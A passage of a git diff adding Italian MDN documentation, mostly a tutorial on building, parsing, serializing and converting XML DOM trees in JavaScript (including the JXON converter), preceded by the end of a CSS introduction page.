+   <td>Un linguaggio di marcatura come HTML fornisce qualche sistema per specificare lo stile, ad esempio l'uso del tag <code>&lt;b&gt;</code> per segnare un testo in grassetto o la definizione del colore di sfondo della pagina all'interno del tag <code>&lt;body&gt;</code> (questo secondo esempio è fortemente deprecato).
+    <p>Quando si utilizzano i CSS normalmente si evita di "sporcare" in questo modo il codice di markup, concentrando tutte le informazioni sullo stile in un solo posto, possibilmente separato.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Azione:_Creare_un_foglio_di_stile" name="Azione:_Creare_un_foglio_di_stile">Azione: Creare un foglio di stile</h3>
+
+<p>Crea un altro file di testo vuoto nella stessa directory utilizzata prima. Questo file sarà il foglio di stile. Nominalo come: <code>style1.css</code></p>
+
+<p>Nel file CSS, copia e incolla questa singola stringa, poi salva il file:</p>
+
+<div style="width: 40em;">
+<pre class="eval">strong {color: red;}
+</pre>
+</div>
+
+<h4 id="Collegare_il_foglio_di_stile_al_proprio_documento" name="Collegare_il_foglio_di_stile_al_proprio_documento">Collegare il foglio di stile al proprio documento</h4>
+
+<p>Per collegare il foglio di stile al tuo documento occorre modificare il file HTML. Aggiungi la linea segnalata in grassetto:</p>
+
+<div style="width: 40em; color: gray;">
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+  &lt;HEAD&gt;
+  &lt;TITLE&gt;Sample document&lt;/TITLE&gt;
+  <strong style="color: black;">&lt;LINK rel="stylesheet" type="text/css" href="style1.css"&gt;</strong>
+  &lt;/HEAD&gt;
+  &lt;BODY&gt;
+    &lt;P&gt;
+      &lt;STRONG&gt;C&lt;/STRONG&gt;ascading
+      &lt;STRONG&gt;S&lt;/STRONG&gt;tyle
+      &lt;STRONG&gt;S&lt;/STRONG&gt;heets
+    &lt;/P&gt;
+  &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+</div>
+
+<p>Salva il file e ricarica la finestra del browser. Il foglio di stile renderà ora le lettere iniziali in rosso, come segue:</p>
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em;">
+ <caption>Esercizi</caption>
+ <tbody>
+  <tr>
+   <td>Oltre al rosso ("red"), i CSS accettano altri nomi per indicare i colori (in inglese). Senza guardare una referenza, trova cinque o più nomi di colori che funzionino.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h4 id="Cos.27altro.3F" name="Cos.27altro.3F">Cos'altro?</h4>
+
+<p>Se hai avuto difficoltà a comprendere questa pagina, o sei hai dei commenti a proposito, utilizza questa pagina di <a>Discussione</a>.</p>
+
+<p>Ora che hai un documento di esempio collegato ad un foglio di stile separato, sei pronto per saperne di più su come il browser li combina quando visualizza il documento: <strong><a href="it/Conoscere_i_CSS/Come_funzionano_i_CSS">Come funzionano i CSS</a></strong></p>
+
+<p>{{ languages( { "en": "en/CSS/Getting_Started/Why_use_CSS", "fr": "fr/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "ja": "ja/CSS/Getting_Started/Why_use_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Po_co_u\u017cywa\u0107_CSS", "pt": "pt/CSS/Como_come\u00e7ar/Porque_usar_CSS" } ) }}</p>
diff --git a/files/it/costruire_e_decostruire_un_documento_xml/index.html b/files/it/costruire_e_decostruire_un_documento_xml/index.html
new file mode 100644
index 0000000000..563552085e
--- /dev/null
+++ b/files/it/costruire_e_decostruire_un_documento_xml/index.html
@@ -0,0 +1,1193 @@
+---
+title: Costruire e decostruire un documento XML
+slug: Costruire_e_decostruire_un_documento_XML
+translation_of: Web/Guide/Parsing_and_serializing_XML
+---
+<p>Quest'articolo si propone di fornire una guida esaustiva per l'uso di XML per mezzo Javascript. Esso si divide in due sezioni. Nella <a href="#Costruire_DOM" title="Costruire un albero DOM">prima sezione</a> verranno illustrati tutti i possibili metodi per costruire un albero DOM, nella <a href="#Decostruire_DOM" title="Decostruire un albero DOM">seconda</a> invece si darà per scontato che <em>saremo già</em> in possesso di un albero DOM e il nostro scopo sarà quello di trattarne il contenuto.</p>
+
+<h4 id="So_what.3F" name="So_what.3F">Che cos'è un albero DOM?</h4>
+
+<p>Per albero DOM s'intende un'istanza di <code><a class="external" href="http://xulplanet.com/references/objref/Document.html">Document</a></code>. Si tratta quindi di un oggetto Javascript e non è da confondere con una stringa di testo contenente il codice sorgente di un documento XML ancora da parsare.</p>
+
+<p>DOM trees can be queried using <a href="/it/Usare_XPath" title="it/Usare_XPath">XPath</a> expressions, converted to strings or written to a local or remote files using <code>XMLSerializer</code> (without having to first convert to a string), POSTed to a web server (via <code><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a></code>),</p>
+
+<p>You can use DOM trees to model data which isn't well-suited for RDF (or perhaps you just don't like RDF). Another application is that, since XUL is XML, the UI of your application can be dynamically manipulated, downloaded, uploaded, saved, loaded, converted, or transformed quite easily.</p>
+
+<p>Mozilla gestisce ampiamente <a href="/it/XML" title="it/XML">XML</a>. Sono gestite diverse Raccomandazioni e bozze del World Wide Web Consortium (<a class="external" href="http://w3c.org/">W3C</a>) per la famiglia XML, così come altre tecnologie relative. Tra le più importanti tecnologie native che Mozilla offre per lavorare con documenti XML sono da citare:</p>
+
+<ul>
+ <li><a href="/it/XPath" title="it/XPath">XPath</a> per <strong>indirizzare parti diverse di un documento XM</strong>L,</li>
+ <li><a href="/it/XMLSerializer" title="it/XMLSerializer">XMLSerializer</a> per convertire <strong>alberi DOM in stringhe o files</strong>,</li>
+ <li><a href="/it/DOM/DOMParser" title="it/DOMParser">DOMParser</a> costruire un documento XML <strong>convertendo delle stringhe in alberi DOM</strong>,</li>
+ <li><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a> per parsare <strong>a partire da file</strong> documenti XML in albero DOM. Sebbene anche le istanze di <code>DOMParser</code> abbiano un metodo chiamato <code>parseFromStream()</code>, è più facile utilizzare <a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a> che lavore sia con file remoti (non confinati al solo protocollo HTTP) che con file locali,</li>
+ <li><a href="/it/XSLT" title="it/XSLT">XSLT</a> e <a href="/it/XLink" title="it/XLink">XLink</a> per <strong>manipolare il contenuto</strong> di un documento XML.</li>
+</ul>
+
+<p>È possibile comunque creare manualmente propri algoritmi per la serializzazione o la conversione di un documento XML, come si vedrà <a href="#JXON" title="Vai alla sezione su JXON">in seguito.</a></p>
+
+<h2 id="Prima_parte_costruire_un_albero_DOM">Prima parte: costruire un albero DOM</h2>
+
+<p>Come precedentemente accennato, in questa prima sezione il nostro scopo sarà quello di ottenere un albero DOM.</p>
+
+<p>Un albero DOM è un oggetto (e precisamente un'istanza di <code><a class="external" href="http://xulplanet.com/references/objref/Document.html">Document</a></code>). Ci sono molti modi per costruirlo o ottenerlo, a seconda delle proprie esigenze. Di seguito verranno elencate varie strade: a partire da una stringa di codice sorgente, a partire da file o a partire da strutture di differente natura.</p>
+
+<h3 id="Creare_dinamicamente_un_albero_DOM">Creare dinamicamente un albero DOM</h3>
+
+<p>Questo paragrafo illustra come utilizzare l'API JavaScript <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html">W3C DOM</a> per creare e modificare oggetti DOM. Essa è attiva in tutte le applicazioni <em>Gecko-based</em> (come Firefox, per esempio) sia in <em>privileged code</em> (estensioni) che in <em>unprivileged code</em> (pagine internet).</p>
+
+<h4 id="Dynamically_creating_a_DOM_tree" name="Dynamically_creating_a_DOM_tree">Scrivendolo a mano</h4>
+
+<p>L'API JavaScript <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html">W3C DOM</a>, supportata da Mozilla, può essere invocata manualmente.</p>
+
+<p>Si consideri il seguente documento XML:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;people&gt;
+  &lt;person first-name="eric" middle-initial="H" last-name="jung"&gt;
+    &lt;address street="321 south st" city="denver" state="co" country="usa" /&gt;
+    &lt;address street="123 main st" city="arlington" state="ma" country="usa" /&gt;
+  &lt;/person&gt;
+  &lt;person first-name="jed" last-name="brown"&gt;
+    &lt;address street="321 north st" city="atlanta" state="ga" country="usa" /&gt;
+    &lt;address street="123 west st" city="seattle" state="wa" country="usa" /&gt;
+    &lt;address street="321 south avenue" city="denver" state="co" country="usa" /&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+
+<p>Grazie all'API <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html">W3C DOM</a> è possibile creare una rappresentazione di esso come la seguente, presente unicamente nella memoria dell'interprete:</p>
+
+<pre class="brush: js">var doc = document.implementation.createDocument("", "", null);
+var peopleElem = doc.createElement("people");
+
+var personElem1 = doc.createElement("person");
+personElem1.setAttribute("first-name", "eric");
+personElem1.setAttribute("middle-initial", "h");
+personElem1.setAttribute("last-name", "jung");
+
+var addressElem1 = doc.createElement("address");
+addressElem1.setAttribute("street", "321 south st");
+addressElem1.setAttribute("city", "denver");
+addressElem1.setAttribute("state", "co");
+addressElem1.setAttribute("country", "usa");
+personElem1.appendChild(addressElem1);
+
+var addressElem2 = doc.createElement("address");
+addressElem2.setAttribute("street", "123 main st");
+addressElem2.setAttribute("city", "arlington");
+addressElem2.setAttribute("state", "ma");
+addressElem2.setAttribute("country", "usa");
+personElem1.appendChild(addressElem2);
+
+var personElem2 = doc.createElement("person");
+personElem2.setAttribute("first-name", "jed");
+personElem2.setAttribute("last-name", "brown");
+
+var addressElem3 = doc.createElement("address");
+addressElem3.setAttribute("street", "321 north st");
+addressElem3.setAttribute("city", "atlanta");
+addressElem3.setAttribute("state", "ga");
+addressElem3.setAttribute("country", "usa");
+personElem2.appendChild(addressElem3);
+
+var addressElem4 = doc.createElement("address");
+addressElem4.setAttribute("street", "123 west st");
+addressElem4.setAttribute("city", "seattle");
+addressElem4.setAttribute("state", "wa");
+addressElem4.setAttribute("country", "usa");
+personElem2.appendChild(addressElem4);
+
+var addressElem5 = doc.createElement("address");
+addressElem5.setAttribute("street", "321 south avenue");
+addressElem5.setAttribute("city", "denver");
+addressElem5.setAttribute("state", "co");
+addressElem5.setAttribute("country", "usa");
+personElem2.appendChild(addressElem5);
+
+peopleElem.appendChild(personElem1);
+peopleElem.appendChild(personElem2);
+doc.appendChild(peopleElem);
+</pre>
+
+<p>Si veda anche <a href="/en/XUL_Tutorial/Document_Object_Model" title="en/XUL_Tutorial/Document_Object_Model">Il capitolo sul DOM del Tutorial XUL</a> (in inglese).</p>
+
+<h4 id="Automatizzando_la_creazione_dinamica_dell'albero_DOM">Automatizzando la creazione dinamica dell'albero DOM</h4>
+
+<p>L'invocazione dell'API Javascript <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html">W3C DOM</a>, può essere anche automatizzata.</p>
+
+<p>Non esiste un metodo unico per automatizzare la creazione di un documento XML. Esso dipende molto dal tipo di dati che andremo a scrivere. In ogni caso, per vederne un possibile esempio, si vada all'<a href="#JXON_algoritmi_inversi" title="JXON – Appendice">ultimo paragrafo</a> del <a href="#JXON" title="Convertire un foglio XML in un albero di oggetti Javascript (JXON)">capitolo su JXON</a>.</p>
+
+<h3 id="Costruire_un_albero_DOM_XML_a_partire_da_stringhe_di_codice_sorgente">Costruire un albero DOM XML a partire da stringhe di codice sorgente</h3>
+
+<p>Il seguente esempio mostra la costruzione di un albero DOM tramite <em>parsing</em> di un codice sorgente.</p>
+
+<pre class="brush: js">var sSource = "&lt;a id=\"a\"&gt;&lt;b id=\"b\"&gt;hey!&lt;\/b&gt;&lt;\/a&gt;";
+var oParser = new DOMParser();
+var oDOM = oParser.parseFromString(sSource, "text\/xml");
+// print the name of the root element or error message
+dump(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oDOM.documentElement.nodeName);</pre>
+
+<p><a class="external" href="http://www.van-steenbeek.net/?q=explorer_domparser_parsefromstring">Tutorial su come rendere questo codice cross browser</a> (in inglese)</p>
+
+<h3 id="Costruire_un_albero_DOM_a_partire_da_un_file">Costruire un albero DOM a partire da un file</h3>
+
+<p>Preambolo da stendere.</p>
+
+<h4 id="Usando_DOMParser">Usando <code>DOMParser</code></h4>
+
+<p>Ciascuna istanza di <code>DOMParser</code> possiede diversi metodi per parsare un documento XML a partire da un file. È possibile fare ricorso a <code>parseFromStream()</code>:</p>
+
+<pre class="brush: js">function loadXMLFile (sFile) {
+  var oIOServ = Components.classes["@mozilla.org/network/io-service;1"].getService(Components.interfaces.nsIIOService);
+  var oChannel = oIOServ.newChannel(sFile,null,null);
+  var oStream = oChannel.open();
+  // alert("oStream.available() = " + oStream.available()); // debug
+  var parser = new DOMParser();
+
+  doc = parser.parseFromStream(oStream, "", oStream.available(),"text/xml");
+
+  // alert("doc=" + doc); // debug
+  oStream.close();
+
+  return doc;
+}
+
+// alert(loadXMLFile("file:///home/john/hello.xml"));
+</pre>
+
+<p>oppure utilizzare <code>parseFromBuffer()</code>:</p>
+
+<pre class="brush: js">// Esempio mancante</pre>
+
+<p>In ogni caso il metodo più pratico per accedere al contenuto di un file XML resta <em>ajax</em>, per l'uso del quale si rimanda al prossimo paragrafo.</p>
+
+<h4 id="Usando_XMLHttpRequest">Usando <code>XMLHttpRequest</code></h4>
+
+<p>Come già precedentemente accennato, sebbene ciascuna istanza di <code>DOMParser</code> possegga un metodo chiamato <code>parseFromStream()</code>, è più facile utilizzare <a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a> per parsare documenti XML in alberi DOM (<code>XMLHttpRequest</code> funziona bene sia in locale che in remoto). Di seguito c'è un codice di esempio che legge e parsa in un albero DOM un file XML locale:</p>
+
+<pre class="brush: js">var oReq = new XMLHttpRequest();
+oReq.open("GET", "chrome://passwdmaker/content/people.xml", false);
+oReq.send(null);
+// print the name of the root element or error message
+var oDOM = oReq.responseXML;
+dump(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oDOM.documentElement.nodeName);
+</pre>
+
+<p>N.B. Il metodo <code>responseXML</code> è sempre un'istanza di <code><a class="external" href="http://xulplanet.com/references/objref/Document.html">Document</a></code> – e di conseguenza un <em>oggetto</em> – a differenza del metodo <code>responseText</code>, che è sempre un <em>valore primario</em> (una stringa).</p>
+
+<h4 id="Usando_l'elemento_HTMLElement(object)_.">Usando l'elemento {{ HTMLElement("object") }}.</h4>
+
+<p>Di seguito è presentata un'altra via possibile per parsare un file XML in un albero DOM: usando il tag {{ HTMLElement("object") }}. Prima di lanciare il seguente esempio è necessario creare un file XML chiamato <code>purchase_order.xml</code> e contenente un albero simile a questo:</p>
+
+<p>purchase_order.xml</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;purchaseOrder xmlns="http://example.mozilla.org/PurchaseOrderML"&gt;
+  &lt;lineItem&gt;
+    &lt;name&gt;Line Item 1&lt;/name&gt;
+    &lt;price&gt;1.25&lt;/price&gt;
+  &lt;/lineItem&gt;
+  &lt;lineItem&gt;
+    &lt;name&gt;Line Item 2&lt;/name&gt;
+    &lt;price&gt;2.48&lt;/price&gt;
+  &lt;/lineItem&gt;
+&lt;/purchaseOrder&gt;
+</pre>
+
+<p>Adesso proviamo a lanciare il nostro esempio:</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;XML Data Block Demo&lt;/title&gt;
+&lt;script&gt;
+function runDemo() {
+  var doc = document.getElementById("purchase-order").contentDocument;
+  var lineItems = doc.getElementsByTagNameNS("http://example.mozilla.org/PurchaseOrderML", "lineItem");
+  var firstPrice = lineItems[0].getElementsByTagNameNS("http://example.mozilla.org/PurchaseOrderML", "price")[0].textContent;
+  document.getElementById("output-box").textContent = "The purchase order contains " + lineItems.length + " line items. The price of the first line item is " + firstPrice + ".";
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="runDemo()";&gt;
+&lt;object id="purchase-order" data="purchase_order.xml" type="text/xml" style="display: none;"&gt;&lt;/object&gt;
+&lt;div id="output-box"&gt;Demo did not run&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Per ulteriori approfondimenti, si rimanda all'articolo: <a href="/it/Usare_le_XML_Data_Islands_in_Mozilla" title="it/Usare_le_XML_Data_Islands_in_Mozilla">Usare le XML Data Islands in Mozilla</a>.</p>
+
+<h2 id="Seconda_parte_decostruire_un_albero_DOM">Seconda parte: decostruire un albero DOM</h2>
+
+<p>Da adesso in poi daremo per scontato il fatto che <em>abbiamo già</em> un albero DOM nella memoria dell'interprete Javascript e che il nostro scopo è quello di utilizzare tale istanza di <code><a class="external" href="http://xulplanet.com/references/objref/Document.html">Document</a></code> nei modi più disparati.</p>
+
+<h3 id="Convertire_un_documento_XML_in_stringhe_di_codice_sorgente">Convertire un documento XML in stringhe di codice sorgente</h3>
+
+<p>L'esempio seguente mostra come ottenere dalla variabile <code>doc</code> — il nostro albero DOM — una stringa contenente l'intero suo codice sorgente:</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sXML = oSerializer.serializeToString(doc);
+</pre>
+
+<p>Non è possibile creare un istanza di <code>XMLSerializer</code> (ovvero lanciare: <code>new XMLSerializer()</code>) dall'interno di un componente JS XPCOM o dall'interno di un <a class="internal" href="/it/Moduli_di_codice_JavaScript" title="it/Moduli_di_codice_JavaScript">modulo</a>. Per farlo bisogna lanciare:</p>
+
+<pre class="brush: js">var oSerializer = Components.classes["@mozilla.org/xmlextras/xmlserializer;1"].createInstance(Components.interfaces.nsIDOMSerializer);
+var sXML = oSerializer.serializeToString(doc);
+</pre>
+
+<h4 id="Come_ottenere_stringhe_di_codice_sorgente_di_facile_lettura">Come ottenere stringhe di codice sorgente di facile lettura</h4>
+
+<p>You can <a class="external" href="http://en.wikipedia.org/wiki/Pretty-print">pretty print</a> a DOM tree using <code>XMLSerializer</code> and <a href="/it/E4X" title="it/E4X">E4X</a>. First, create a DOM tree as described in the <a href="/it/Come_creare_un_albero_DOM" title="it/Come_creare_un_albero_DOM">Come creare un albero DOM</a> article. Alternatively, use a DOM tree obtained from <a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a>. We assume it's in the <code>doc</code> variable.</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sPrettyXML = XML(oSerializer.serializeToString(doc)).toXMLString();</pre>
+
+<p>Indents are provided with two spaces. You can, of course, use <a href="/it/DOM/treeWalker" title="it/DOM/treeWalker">DOM:treeWalker</a> to write your own, more performant version which also has the advantage that you can customize the indent string to be whatever you like.</p>
+
+<p><strong>Note:</strong> When using the E4X <code>toXMLString</code> method your <strong>CDATA elements will be lost</strong> and only the containing text remains. So using the above method might not be useful if you have CDATA elements in your XML.</p>
+
+<pre class="brush: xml">&lt;content&gt;&lt;![CDATA[This is the content]]&gt;&lt;/content&gt;</pre>
+
+<p>Will become</p>
+
+<pre class="brush: xml">&lt;content&gt;This is the content&lt;/content&gt;</pre>
+
+<h3 id="Convertire_un_foglio_XML_in_un_albero_di_oggetti_Javascript_(JXON)">Convertire un foglio XML in un albero di oggetti Javascript (JXON)</h3>
+
+<p>JXON (lossless <strong>J</strong>avascript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation) è un nome generico col quale viene definita la rappresentazione di oggetti Javascript in linguaggio XML. Non esistono veri e propri standard per questa rappresentazione, ma da poco tempo a questa parte cominciano ad affacciarsi in rete alcune convenzioni.</p>
+
+<p>JXON non è un metodo per indirizzare poche parti di un documento XML, dato che il suo punto di forza è la conversione per intero di un albero DOM. Se il nostro scopo è quello di accedere a delle informazioni limitate di un albero DOM, si raccomanda vivamente di <a href="/it/Usare_XPath" title="it/Usare_XPath">Usare XPath</a>.</p>
+
+<p>Ci sono casi invece in cui un documento XML è costruito in maniera tale da avere come principale destinatario del proprio contenuto proprio l'interprete Javascript. In tal caso JXON si presenta come la via migliore.</p>
+
+<p>Per tutto questo capitolo immagineremo di aver parsato, come al solito nella nostra variabile <code>doc</code>, questo documento XML di esempio:</p>
+
+<h5 id="esempio.xml">esempio.xml</h5>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog SYSTEM "catalog.dtd"&gt;
+&lt;catalog&gt;
+   &lt;product description="Cardigan Sweater"&gt;
+      &lt;catalog_item gender="Men's"&gt;
+         &lt;item_number&gt;QWZ5671&lt;/item_number&gt;
+         &lt;price&gt;39.95&lt;/price&gt;
+         &lt;size description="Medium"&gt;
+            &lt;color_swatch image="red_cardigan.jpg"&gt;Red&lt;/color_swatch&gt;
+            &lt;color_swatch image="burgundy_cardigan.jpg"&gt;Burgundy&lt;/color_swatch&gt;
+         &lt;/size&gt;
+         &lt;size description="Large"&gt;
+            &lt;color_swatch image="red_cardigan.jpg"&gt;Red&lt;/color_swatch&gt;
+            &lt;color_swatch image="burgundy_cardigan.jpg"&gt;Burgundy&lt;/color_swatch&gt;
+         &lt;/size&gt;
+      &lt;/catalog_item&gt;
+      &lt;catalog_item gender="Women's"&gt;
+         &lt;item_number&gt;RRX9856&lt;/item_number&gt;
+         &lt;discount_until&gt;Dec 25, 1995&lt;/discount_until&gt;
+         &lt;price&gt;42.50&lt;/price&gt;
+         &lt;size description="Medium"&gt;
+            &lt;color_swatch image="black_cardigan.jpg"&gt;Black&lt;/color_swatch&gt;
+         &lt;/size&gt;
+      &lt;/catalog_item&gt;
+   &lt;/product&gt;
+   &lt;script type="text/javascript"&gt;&lt;![CDATA[function matchwo(a,b) {
+    if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }
+    else { return 0; }
+}]]&gt;&lt;/script&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>Adesso proveremo a ottenere una rappresentazione della variabile <code>doc</code> — l'albero DOM — attraverso un albero di oggetti Javascript (per approfondire si leggano le guide su <a href="/it/JavaScript/Guida/Lavorare_con_gli_oggetti" title="Lavorare con gli oggetti">come lavorare con gli oggetti</a> e su <a href="/it/Introduzione_al_carattere_Object-Oriented_di_JavaScript" title="Introduzione al carattere Object-Oriented di JavaScript">come Javascript sia <em>Object-Oriented</em></a>). Per far ciò potremo utilizzare diversi algoritmi di conversione.</p>
+
+<p>Per semplicità gli algoritmi qui proposti (si veda: <a href="#Algoritmo_JXON_1" title="Vai all'algoritmo JXON #1">#1</a>, <a href="#Algoritmo_JXON_2" title="Vai all'algoritmo JXON #2">#2</a>, <a href="#Algoritmo_JXON_3" title="Vai all'algoritmo JXON #3">#3</a>, <a href="#Algoritmo_JXON_4" title="Vai all'algoritmo JXON #4">#4</a>) prenderanno in considerazione unicamente i seguenti tipi di nodi e i loro attributi:</p>
+
+<ol>
+ <li><code>Document</code> (solo come argomento della funzione),</li>
+ <li><code>DocumentFragment</code> (solo come argomento della funzione),</li>
+ <li><code>Element</code>,</li>
+ <li><code>Text</code> (mai come argomento della funzione),</li>
+ <li><code>CDATASection</code> (mai come argomento della funzione).</li>
+</ol>
+
+<p>Si tratta di un buon compromesso per un uso Javascript, dacché la gran parte delle informazioni di un documento XML è contenuta in questo tipo di nodi. Ogni altra informazione (come processing instructions, xml schemas, commenti, etc.) andrà persa. Allo scopo di evitare conflitti, la lettura dei nomi dei nodi e dei loro attributi è <em>case insensitive</em> (resa sempre in <em>minuscolo</em>) e di conseguenza le proprietà locali dell'albero di oggetti così ottenuto, aggiunte via JavaScript, dovranno avere sempre un qualche tipo di lettera maiuscola al loro interno (per evitare di sovrascrivere le proprietà ottenute dal foglio XML), come si può vedere di seguito. I seguenti algoritmi sono liberamente basati sulla <a href="#Convenzione_di_Parker" title="La Convenzione di Parker">Convenzione di Parker, versione 0.4</a>, che prevede il riconoscimento del <code>typeof</code> del contenuto di testo di ogni singolo nodo letto.</p>
+
+<h4 id="Algoritmo_1_una_via_prolissa">Algoritmo #1: una via prolissa</h4>
+
+<p>Questo semplice costruttore ricorsivo converte un albero DOM XML in un albero di oggetti Javascript. Il contenuto di testo di ogni nodo sarà salvato all'interno della proprietà <code>keyValue</code>, mentre i <code>nodeAttributes</code>, se esistono, saranno annidati come proprietà dell'oggetto-figlio <code>keyAttributes</code>. L'argomento del costruttore potrà essere l'intero <code>Document</code>, un <code>DocumentFragment</code> o, più semplicemente, un nodo di tipo <code>Element</code> di esso.</p>
+
+<pre class="brush: js">function buildValue(sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function JXONData (oXMLParent) {
+  var nAttrLen = 0, nLength = 0, sCollectedTxt = "";
+  // children
+  if (oXMLParent.hasChildNodes()) {
+    for (var oItChild, sItKey, sItVal, nChildId = 0; nChildId &lt; oXMLParent.childNodes.length; nChildId++) {
+      oItChild = oXMLParent.childNodes.item(nChildId);
+      if ((oItChild.nodeType + 1 | 1) === 5) { sCollectedTxt += oItChild.nodeType === 3 ? oItChild.nodeValue.replace(/^\s+|\s+$/g, "") : oItChild.nodeValue; } // nodeType is "Text" (3) or "CDATASection" (4)
+      else if (oItChild.nodeType === 1 &amp;&amp; !oItChild.prefix) { // nodeType is "Element" (1)
+        sItKey = oItChild.nodeName.toLowerCase();
+        sItVal = new JXONData(oItChild);
+        if (this.hasOwnProperty(sItKey)) {
+          if (this[sItKey].constructor !== Array) { this[sItKey] = [this[sItKey]]; }
+          this[sItKey].push(sItVal);
+        } else { this[sItKey] = sItVal; nLength++; }
+      }
+    }
+    this.keyValue = buildValue(sCollectedTxt);
+  } else { this.keyValue = null; }
+  // node attributes
+  if (oXMLParent.hasAttributes()) {
+    var oItAttr;
+    this.keyAttributes = {};
+    for (nAttrLen; nAttrLen &lt; oXMLParent.attributes.length; nAttrLen++) {
+      oItAttr = oXMLParent.attributes.item(nAttrLen);
+      this.keyAttributes[oItAttr.nodeName.toLowerCase()] = buildValue(oItAttr.nodeValue);
+    }
+  }
+  // optional properties and methods; you could safely adjoust/remove them...
+  this.keyLength = nLength;
+  this.attributesLength = nAttrLen;
+  // this.DOMNode = oXMLParent;
+  this.valueOf = function() { return this.keyValue; };
+  this.toString = function() { return String(this.keyValue); };
+  this.getItem = function(nItem) {
+    if (nLength === 0) { return null; }
+    var iItem = 0;
+    for (var sKeyName in this) { if (iItem === nItem) { return this[sKeyName]; } iItem++; }
+    return null;
+  };
+  this.getAttribute = function(nAttrib) {
+    if (nAttrLen === 0 || nAttrib + 1 &gt; nAttrLen) { return null; }
+    var nItAttr = 0;
+    for (var sAttrName in this.keyAttributes) { if (nItAttr === nAttrib) { return this.keyAttributes[sAttrName]; } nItAttr++; }
+    return null;
+  };
+  this.hasChildren = function() { return this.keyLength &gt; 0; };
+}
+
+var myObject = new JXONData(doc);
+// abbiamo ottenuto il nostro albero di oggetti Javascript! provare per credere: alert(JSON.stringify(myObject));
+</pre>
+
+<p>Con questo algoritmo <a href="#XML_di_esempio" title="Go to the sample XML document">il nostro esempio</a> diventerà:</p>
+
+<pre class="brush: js">{
+  "catalog": {
+    "product": {
+      "catalog_item": [{
+        "item_number": {
+          "keyValue": "QWZ5671",
+          "keyLength": 0,
+          "attributesLength": 0
+        },
+        "price": {
+          "keyValue": 39.95,
+          "keyLength": 0,
+          "attributesLength": 0
+        },
+        "size": [{
+          "color_swatch": [{
+            "keyValue": "Red",
+            "keyAttributes": {
+              "image": "red_cardigan.jpg"
+            },
+            "keyLength": 0,
+            "attributesLength": 1
+          }, {
+            "keyValue": "Burgundy",
+            "keyAttributes": {
+              "image": "burgundy_cardigan.jpg"
+            },
+            "keyLength": 0,
+            "attributesLength": 1
+          }],
+          "keyValue": null,
+          "keyAttributes": {
+            "description": "Medium"
+          },
+          "keyLength": 1,
+          "attributesLength": 1
+        }, {
+          "color_swatch": [{
+            "keyValue": "Red",
+            "keyAttributes": {
+              "image": "red_cardigan.jpg"
+            },
+            "keyLength": 0,
+            "attributesLength": 1
+          }, {
+            "keyValue": "Burgundy",
+            "keyAttributes": {
+              "image": "burgundy_cardigan.jpg"
+            },
+            "keyLength": 0,
+            "attributesLength": 1
+          }],
+          "keyValue": null,
+          "keyAttributes": {
+            "description": "Large"
+          },
+          "keyLength": 1,
+          "attributesLength": 1
+        }],
+        "keyValue": null,
+        "keyAttributes": {
+          "gender": "Men's"
+        },
+        "keyLength": 3,
+        "attributesLength": 1
+      }, {
+        "item_number": {
+          "keyValue": "RRX9856",
+          "keyLength": 0,
+          "attributesLength": 0
+        },
+        "discount_until": {
+          "keyValue": new Date(1995, 11, 25),
+          "keyLength": 0,
+          "attributesLength": 0
+        },
+        "price": {
+          "keyValue": 42.5,
+          "keyLength": 0,
+          "attributesLength": 0
+        },
+        "size": {
+          "color_swatch": {
+            "keyValue": "Black",
+            "keyAttributes": {
+              "image": "black_cardigan.jpg"
+            },
+            "keyLength": 0,
+            "attributesLength": 1
+          },
+          "keyValue": null,
+          "keyAttributes": {
+            "description": "Medium"
+          },
+          "keyLength": 1,
+          "attributesLength": 1
+        },
+        "keyValue": null,
+        "keyAttributes": {
+          "gender": "Women's"
+        },
+        "keyLength": 4,
+        "attributesLength": 1
+      }],
+      "keyValue": null,
+      "keyAttributes": {
+        "description": "Cardigan Sweater"
+      },
+      "keyLength": 1,
+      "attributesLength": 1
+    },
+    "script": {
